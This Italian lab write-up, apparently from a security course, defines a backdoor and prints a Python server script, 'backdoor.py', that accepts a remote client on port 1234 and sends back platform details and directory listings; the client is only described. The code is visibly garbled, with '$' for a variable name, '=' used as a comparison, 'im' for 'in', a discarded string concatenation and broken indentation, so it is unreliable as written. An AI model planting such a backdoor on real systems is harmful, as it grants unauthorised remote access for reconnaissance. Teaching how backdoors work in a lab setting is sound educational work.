CLIENT PYTHON PER OTTENERE INFORMAZIONI DI SISTEMA E LISTARE CONTENUTI DI DIRECTORY DA UN SERVER REMOTO

Iniziamo dando la definizione di **BACKDOOR**: una backdoor è un punto d'accesso nascosto che consente ad un utente non autorizzato di ottenere l'accesso ad un sistema, senza passare dalle procedure di sicurezza e autenticazione.

Abbiamo poi usato due codici per simulare una comunicazione Client-Server.

 Questo codice è un server (con ip della nostra macchina virtuale e la porta "1234") e ci servirà per rispondere alle richieste inviate dal client.

```
File Actions Edit View Help

GNU nano 6.0 backdoor.py *
import socket, platform, os

SRV_ADDR = ""

SRV_PORT = 1234

$ = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

$ _bind((SRV_ADDR, SRV_PORT))

s.listen(1)
connection, address = s.accept()

print ("client connected: ", address)

while 1:

    try:
        data = connection.recv(1024)
    except:continue

if(data.decode('utf-8') = '1'):
        tosend = platform.platform() + " " + platform.machine()
        connection.sendall(tosend.encode())

elif(data.decode('utf-8') = '2'):
        data = connection.recv(1024)

        try:
        filelist = os.listdir(data.decode('utf-8'))
        tosend = ""
        for x im filelist:
            tosend + "," + x
        except:
        tosend = "Wrong path"
        connection.sendall(tosend.encode())

elif(data.decode('utf-8') = '0'):
        connection, address = s.accept()
```

- 2) Questo codice, invece, funge da client che si connette ad un server (codice n.1) per inviare richieste come:
 - una richiesta per ottenere informazioni sul sistema;
 - una richiesta di ottenere un elenco di file contenuti in una specifica directory digitata dall'utente;
 - Chiudere la connessione col client.

Possiamo notare qui sotto come sia prima avvenuta una connessione Client-Server inserendo IP e porta del server (192.168.50.100:1234), per poi accedere ad un menù delle opzioni dove l'utente sceglie cosa far eseguire.

